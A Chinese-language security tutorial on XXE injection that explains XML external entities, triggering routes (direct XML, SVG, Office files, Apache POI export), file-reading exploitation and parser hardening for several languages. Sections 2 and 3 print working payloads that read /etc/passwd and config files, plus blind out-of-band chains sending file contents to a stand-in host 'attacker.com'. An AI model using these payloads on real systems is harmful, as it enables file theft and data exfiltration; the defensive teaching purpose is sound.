先给自己定个位。做安全测试这些年,遇到不少开发同事问同一个问题:为什么我的接口明明做了参数校验,还是被扫描器报了个XXE?每次我都得从头讲一遍XML外部实体是怎么回事。这篇文章就把这摊事彻底说清楚——XXE注入漏洞的原理、到底怎么触发、以及数据读取层面的利用思路,顺带把Apache POI那个经典的导出XXE漏洞一起拆了。文章适合刚入门的安全新人、写后端接口的研发,以及正在做代码审计的朋友,看完能直接对照自己的项目排查。
1. 先搞清楚XXE到底是什么:从XML外部实体说起
1.1 XML外部实体这个机制本身是干什么用的
XML文档里有个东西叫DTD,全称是Document Type Definition,文档类型定义。它的作用有点像快递面单上的寄件人信息栏,可以声明一些“宏”,方便在文档主体里反复引用。这个“宏”在XML里有三种叫法:内部实体、外部实体、参数实体。
内部实体很好理解,就是在DTD里直接写了值:
<!DOCTYPE foo [ <!ENTITY xxe "这是一个内部实体"> ]>外部实体就不一样了,它的值不是写死在文档里的,而是通过SYSTEM关键字引用了一个外部资源,可以是本地文件,也可以是远程URL:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>问题恰恰出在这个设计上。XML解析器拿到DTD声明之后,按照规范会去加载外部实体引用的资源,解析成字符串后替换到文档内容里。这个动作本身是XML规范的一部分,任何一门语言里符合规范的XML解析器都会这么做。所以说,XXE漏洞的根本原因不是某个库写错了,而是“XML解析器对不可信输入加载了外部实体”这件事本身就有风险。
我打个比方,这相当于快递公司收到一个包裹,包裹外面写了一句“去这个地址取货物来装进包裹里”。快递公司如果照做了,那寄包裹的人就可以指向任何地方——比如指向服务器上的密码文件。XML解析器就是这么个老实巴交的快递员,你让它去取,它就真去取。
1.2 为什么XXE的危害等级一直被定得很高
先看这份通用的XXE利用后果清单:
| 利用目标 | 典型效果 | 危害级别 |
|---|---|---|
| 读取本地文件 | 读取/etc/passwd、配置文件、源代码 | 高 |
| 发起内网请求 | SSRF,探测内网端口、访问云元数据 | 高 |
| 执行系统命令 | 在安装了PHP expect扩展等特殊环境时 | 致命 |
| 造成拒绝服务 | Billion Laughs 实体膨胀攻击 | 中高 |
| 内网文件共享访问 | 访问SMB共享,有时可捕获Net-NTLM Hash | 高 |
定级高的原因在于,它通常拿到了一个“任意文件读取+内网探测”的组合能力。对一个Web应用来说,攻击者能读到配置文件,往往意味着能读到数据库账号密码、OSS密钥、加密盐值等敏感信息,后续的横向渗透路径就这么被撕开了。
还有一个容易被忽视的点,XXE不一定要有回显才能利用,盲XXE可以通过报错信息、OOB外带通道把数据带出来,这个后文会展开讲。现在很多扫描器已经把XXE列为和SQL注入、RCE并列的高危漏洞,因为它在资产暴露面里出现的频率确实不低,尤其是文档解析类业务,比如上传Word、Excel、SVG图片这类场景。
1.3 严格来说,不只是“解析XML”才算有漏洞
这里我想多说一句,很多人以为只有直接接收XML数据流才会触发XXE。但实际业务里,XML经常是“被藏起来”的那一层。
常见的藏身之处包括:SVG图片(本质是XML格式)、Word文档(docx内部是打包好的XML)、Excel文档(xlsx同理)、PDF的XMP元数据、RSS订阅源、SOAP接口报文、SAML断言等。这些格式统一到根上都是XML,只要有哪一层逻辑把其中的XML片段交给了解析器,且没有禁用外部实体,漏洞就可能存在。
这也是Apache POI那个漏洞会引发广泛关注的原因——它不是显眼的外层接口,而是藏在Excel导出流程里的XML解析逻辑。很多系统表面上看起来就是个普通的导出接口,谁能想到后端在处理Excel时会踩中XXE。
2. 触发方式与高发场景:为什么很多业务系统经常踩坑
2.1 常规直接注入:接口直接接收XML的典型攻击报文
最简单的触发场景就是后端接口接收XML格式的请求体,解析后直接拼接返回内容。攻击者提交这样一段报文:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <name>&xxe;</name> </root>如果解析器没禁用DTD、没禁用外部实体,&xxe;会被替换为/etc/passwd的文件内容。后端如果把这个值回显到响应里,那文件内容就顺理成章地到了攻击者手里。
这个场景下判断是否存在漏洞,可以用一个很轻量的测试方法:先构造一个引用本地唯一文件的实体,比如file:///etc/hosts,如果响应里出现了localhost关键字,基本就能确认存在文件读取型XXE。
有些接口不是完整接收XML文档,而是接收JSON后再把某个字段拼进XML模板做二次解析,这种“隐藏型XML解析”在Java的DocumentBuilderFactory用法里非常普遍。比如做报文转换的时候,代码里写了DocumentBuilderFactory.newInstance(),然后parse方法接收了一个由前端传参拼接出来的XML字符串,这里就会踩雷。
2.2 文件上传场景:SVG、Office文档中的XML解析
另一个高频入口是文件上传。SVG图片就是一个标准的XML文档,攻击者可以构造这样一张图片:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <text>&xxe;</text> </svg>上传头像、上传图片预览这类业务如果直接对SVG做解析处理,处理完把SVG里某个文本节点的值取出,攻击者就能读到服务器文件。
此外,docx、xlsx这类Office文件本身就是ZIP压缩包,内部有[Content_Types].xml、word/document.xml等大量XML文档。如果系统提供了“导入Word解析标题”“导入Excel批量导入”的功能,后端库会把文件内的XML解压提取并解析,这时候如果库版本有漏洞或者解析器配置不当,文件内嵌的外部实体就会被加载。
特别是Apache POI的场景,我单独放在后面讲,因为这个库的使用面太广了,很多做报表导出、数据导入的Java项目都在用它,中招概率非常高。
2.3 参数实体与嵌套利用:盲注型XXE的常见触发写法
在某些场景下,外部实体的内容不会直接出现在响应里。这时候攻击者会利用参数实体,把数据通过OOB(Out-of-Band)通道外带。
参数实体在DTD内部使用,以%开头,只能在DTD中引用,不能出现在XML文档主体里。经典的盲注型payload长这样:
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]>其中evil.dtd放在攻击者控制的服务器上,内容为:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/collect?data=%file;'>"> %all;这条链路的执行逻辑是:目标服务器解析XML时,加载了攻击者服务器上的evil.dtd,然后DTD文件内部又把本地文件内容拼到了http://attacker.com/collect?data=...这个URL参数里,于是文件内容作为HTTP请求的一部分发到了攻击者服务器上。这就是盲XXE的完整外带链路。
这种触发方式的好处是,即便应用对XML解析结果完全无回显,只要解析器能发起HTTP请求,数据就能出来。这个“只要”其实很苛刻——需要目标服务器能出网访问攻击者的服务器,内网环境经常不通外网,这条路径就会失效。
2.4 高发场景自查清单
根据我的经验,下面这些业务模块是XXE的重灾区:
- 后台管理系统的“数据导入导出”功能,尤其是Excel、CSV转XML的模块
- 对接第三方支付、物流、政企平台时,使用SOAP或自定义XML报文协议的模块
- 前端图形编辑器的SVG导出、预览功能
- 报表引擎解析XML模板的功能
- 单点登录系统中解析SAML断言的功能
- 旧版中间件自带的XML-RPC服务
如果你的系统里有这些模块,且代码直接使用了DocumentBuilderFactory、SAXParserFactory、XMLReader、TransformerFactory等解析器,那就要重点检查是否设置了下文会说的那几个安全属性。
3. 数据读取的利用路径与绕过思路:从直接回显到盲注
3.1 文件读取的基础流程:file协议的地址映射规则
利用XXE读文件时,file://协议需要遵循URL格式。完整的file URL形如:
file:///etc/passwd file:///C:/Windows/win.ini file://localhost/etc/hostname注意第三段有三级斜杠——file:后面跟///表示本地绝对路径。Windows下读取文件,路径大小写不敏感,但盘符的写法需要注意,file:///C:/Windows/win.ini和file:///c:/windows/win.ini效果一样。
还有个小技巧,有些解析器对特殊字符处理不严格,可以尝试在路径中插入/./来绕过简单的关键词过滤,比如:
file:///etc/./passwd file:///etc/foobar/../passwd这两个路径解析后最终都指向/etc/passwd。有些开发会用replace("file://", "")这种简单过滤方式,这种写法是挡不住上述路径变形的。
3.2 不同语言和环境下外带数据可用的协议
除了file协议,XXE支持的外带协议因解析器和运行语言而异。这是我在实测中总结的常用能力表:
| 解析器/环境 | 支持的协议 | 可用场景 |
|---|---|---|
| Java(JAXP) | file, http, https, jar, netdoc | 主流Java后端 |
| PHP(libxml2) | file, http, ftp, php(filter/expect) | PHP站点,filter很常用 |
| Python(lxml) | file, http, ftp | 数据接口、爬虫解析 |
| .NET(XmlDocument) | file, http, https, ftp | Windows环境 |
| libxml2(C/C++) | file, http, ftp | 各类原生应用 |
PHP环境里有个特别灵活的玩法。很多PHP站点禁用了file_get_contents读取远程文件,但libxml2层面的过滤器仍然有效,可以直接在实体里写:
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/config.php">这样读出来的源码是Base64编码的,有效避免XML解析器因为文件内容里有特殊符号(比如<、&)而中断解析。这个技巧在处理包含代码、标签符号的目标文件时几乎是必用的。
3.3 无回显时的数据判断技巧:报错信息也能带出文件内容
盲XXE不是只有OOB一条路。有些解析器在实体内容包含特殊字符导致XML解析失败时,会把具体错误信息回显到响应里。结合DTD的报错机制,可以构造出“错误信息携带文件数据”的效果。
经典的报错型payload:
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd"> %dtd; ]>error.dtd内容:
<!ENTITY % content "<!ENTITY % eval '"%file;"'>">这种方式的原理是,将%file;的值嵌入到某个必定触发解析错误的位置,解析器处理到这个畸形实体时会把内嵌的文件内容带入错误提示,而错误提示又在应用层回显到了前端。这个思路在Java和PHP的某些解析器上都适用,虽然调试过程比较曲折,但很多时候是唯一能拿到数据的途径。
3.4 进阶:文件内容无法完整读取时的处理思路
如果你的目标文件很大,或者文件内容包含特殊字符导致解析中断,有几个实际的绕过策略可以尝试。
字符串截断可以用参数实体配合子串截取,但DTD里没有直接定义子串截取的函数,你可以分多次读取同一个文件的不同部分。比如先读前100个字符,再通过URL的Range参数或者预定义位置(很多文件前面有固定格式头部)来定位偏移量。虽然DTD没有官方substring,但在某些解析器上可以用字符遍历的穷举法逐字带出内容,这个过程比较痛苦但确实可行。
更常用的方法是先读取目录结构。通过file:///协议在部分Java版本和libxml2上可以列出目录内容,获知目标文件名后再精确读取。比如先读file:///var/www/html/列出目录,锁定config.php存在,再定向读文件。
3.5 Apache POI的XSSFExportToXml漏洞在数据读取中的连锁反应
这里回到热词里提到的Apache POI。它的问题出在导出Excel时把段落XML嵌入到Sheet的Weird区块,然后通过XSSFExportToXml.exportToXML()方法导出。这个方法在内部创建的XML解析器没有显式禁用外部实体,所以当Excel里预先被写入一个带有外部实体声明的自定义XML时,导出动作就会触发实体加载。
攻击者可以先制作一个包含如下内容的Excel文件:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!DOCTYPE xsl [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xsl:template match="/"> <html>&xxe;</html> </xsl:template> </xsl:stylesheet>把它作为sheet校验规则或自定义XML填入工作簿,诱导应用调用导出接口后,后端如果直接用POI的XSSFExportToXml导出,文件内容就会被带出来。
这类漏洞最麻烦的地方在于:入口不是攻击者直接提交的XML,而是“看起来是个普通的Excel文件”。常规的WAF和参数检测根本不会拦截二进制上传,等导出功能被调用,漏洞已经被触发。这个案例给研发的警醒是,凡是依赖库能解析XML的,不管这个XML是在哪一层出现的,都要统一加固,不能只盯着外层接口。
4. 防御方案解析:解析器加固的完整配置清单
4.1 Java生态:DocumentBuilderFactory与SAXParserFactory的标准配置
先给一份Java里相对完整的加固配置。核心操作是禁用DTD和禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { // 禁用DTD dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用外部通用实体 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用参数实体 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); } catch (ParserConfigurationException e) { e.printStackTrace(); }有些解析器在较早版本里对上述Feature支持不全,保险起见加上这几个属性:
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");注意:disallow-doctype-decl设为true后,文档里只要出现<!DOCTYPE就会直接抛异常。如果业务上真的需要接收带DTD的XML,那就退而求其次,把external-general-entities和external-parameter-entities设为false。但我的建议是,能禁DTD就尽量禁,因为DTD在绝大多数业务场景中根本没有使用价值,留着只会增加攻击面。
SAXParserFactory和XMLReader的配置方法同理,核心Feature名称是一样的,只是入口不同。
4.2 PHP生态:libxml2的全局配置与loadXML拦截
PHP端相对简单,libxml2从2.9.0版本开始默认不加载外部实体,但很多老环境或者手动打开LIBXML_NOENT选项的情况仍会出问题。加固方案是调用libxml_disable_entity_loader(true):
libxml_disable_entity_loader(true); $doc = new DOMDocument(); $doc->loadXML($xml);同时读取文件时传递LIBXML_NONET选项阻断网络请求:
$doc->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);注意,LIBXML_NOENT本身是“加载实体”的选项,如果你必须用它来保证原有功能,那一定要配合LIBXML_NONET使用,至少能防止解析器发起远程HTTP请求。
4.3 Python与.NET的防御对照
Python里常见的是lxml库,最佳实践是做两层设置,一层禁用实体加载,一层禁用网络访问:
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False) root = etree.fromstring(xml_data, parser=parser)注意resolve_entities=False仍可能允许DTD被加载,load_dtd=False才能真正阻止DTD解析,直接用把两者都设为False,安全层级最高。
.NET环境在较新版本(4.5.2+)里,XmlDocument默认不再解析外部实体,但在老版本或显式使用XmlReader时仍需手动设置:
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; XmlReader reader = XmlReader.Create(new StringReader(xml), settings);如果业务确实需要DTD,则退而设置为DtdProcessing.Parse,同时设置XmlResolver = null:
settings.DtdProcessing = DtdProcessing.Parse; settings.XmlResolver = null;4.4 中间层防御:WAF、输入校验与依赖升级
到解析器这层加固完后,别忘了中间层。WAF规则里如果能匹配到<!DOCTYPE和<!ENTITY这两个关键组合,就能直接在入口拦截一大波扫描流量,但不是所有业务都部署了WAF,尤其内网系统。
更务实的做法是代码层面做输入校验。对非XML类型的接口,明确拒绝text/xml的Content-Type;对确实需要接收XML的场景,解析前先检查报文里是否包含<!DOCTYPE关键字,包含则直接拒绝。这种做法比较粗糙,但作为纵深防御的最低层也能起到作用。
依赖升级这块必须单独说。Apache POI的用户需要至少升级到4.1.1版本(CVE-2019-12415修复版本),同时建议跟进POI-OOXML的补丁更新。各个语言生态里,XML解析器的安全修复大部分是通过版本升级完成的,把老旧的解析库锁在一个低版本里,等于把漏洞锁在自己的系统里。
5. 做测试这几年踩过的坑:XXE排查中的常见问题与心得
5.1 扫描器报了XXE,但我手工复现却读不到文件
这个情况我遇到过很多次。扫描器报XXE有两种可能:一是扫描器向目标发送了恶意XML,目标解析时抛出了异常,扫描器根据异常特征误报;二是解析器确实加载了外部实体,但响应里没有任何回显位置,扫描器只是根据带外请求的DNS解析记录确认漏洞。
手工复现时读不到文件,最常见的原因是目标解析器禁用了外部实体加载但保留了DTD解析——这种情况下,实体声明被接受但实体值不替换。这时候把SYSTEM换成远程URL去探测,如果目标会发起请求,说明还能做盲XXE,只是本地文件读取失败而已。
如果是file://读不到,可以试netdoc://(Java)或php://filter(PHP),不同协议的可用性差异确实很大。
5.2 用报错型XXE时,中文和特殊字符会导致解析彻底失败
这是我在读包含中文的配置文件时频繁踩到的坑。XML解析器对非法字符非常敏感,文件内容里如果包含<、&、中文全角字符的部分编码组合,解析器会直接抛错,导致整个DTD执行中断。
解决办法是优先读取Base64编码后的值。PHP环境下用php://filter/read=convert.base64-encode/resource=...做一次编码,这样无论原始内容是什么字符,外带时都是URL安全的Base64内容,到攻击者服务器后再解码。Java环境下可以用jar:协议配合编码类,但配置复杂得多,一般推荐先读无特殊字符的系统文件,比如/etc/hostname,确认漏洞存在后再升级读取策略。
5.3 目标不出网,盲XXE链路全部失效怎么办
遇到严格隔离的内网环境是比较难受的。目标服务器无法访问外网,OOB链路就被切断了。这时候有三条路可以试。
第一条是报错回显,看响应里是否能返回解析错误详情,如果应用层会把异常堆栈输出到响应体,报错型XXE仍然有效。第二条是延迟注入,用大型实体(Billion Laughs组合)或外部超大文件读取来制造响应延迟,通过时间差来判断文件是否存在,这种方式只能做存在性判断,拿不到内容。第三条最笨但最有效——回到业务逻辑,看看解析后的XML数据有没有进入数据库、日志、导出文件等位置,比如把文件内容拼进实体后既无回显也不出错,但应用把解析结果存到了数据库的某个字段里,研发把那个字段查一下,数据就到手了。这种场景在后端解析XML做数据入库的业务里很常见。
5.4 给团队做XXE修复验收的检查清单
如果你正好负责推动XXE漏洞修复,我建议验收时对照下面这个清单逐一确认:
- 确认所有XML解析入口统一收口,不能在各个业务代码里各自new解析器
- 线上使用的是最低安全版本的解析库,Java、PHP、Python生态各有对应的版本基线
- 对解析器配置统一封装,默认禁用DTD、禁用外部实体,需要支持的场景走白名单
- 日志和异常响应中不回显XML解析错误的完整内容
- 文件上传功能对SVG、Office文档等XML格式做了类型限制
- 外部接口对接时明确约定不接受DTD声明的XML报文
- 定期用自动化扫描器对全部接口做XML实体注入探测
5.5 个人建议:把“解析XML”这事当成高危操作对待
从实际排查的经验看,XXE出问题往往不是某一行代码写错了,而是整个团队对XML解析这件事缺少敬畏。大家默认认为解析器是可信的、格式是安全的,但XML这个格式在安全上的坑比JSON多得多。JSON没有实体、没有外部引用、没有DTD这些特性,所以不会有类似问题。
我个人做安全评审时有个原则:凡是代码里出现了parse、loadXML、DocumentBuilder这类关键词,一律默认存在XXE风险,直到确认解析器配置加固过。这个原则帮团队拦下了好几个本来会带上线的隐患。
这也是为什么现在越来越多项目在对接数据格式时优先选择JSON、Protobuf这类更安全、更轻量的序列化方案。如果业务上必须用XML(比如SAML、SOAP、Excel),那就老老实实把解析器加固做到位,然后把这篇文章里的检查清单交给研发团队,让他们逐条对照落实。等我哪次有机会再讲讲结合XXE做内网端口探测的思路,那个话题更隐蔽,但在真实授权测试里作用不小。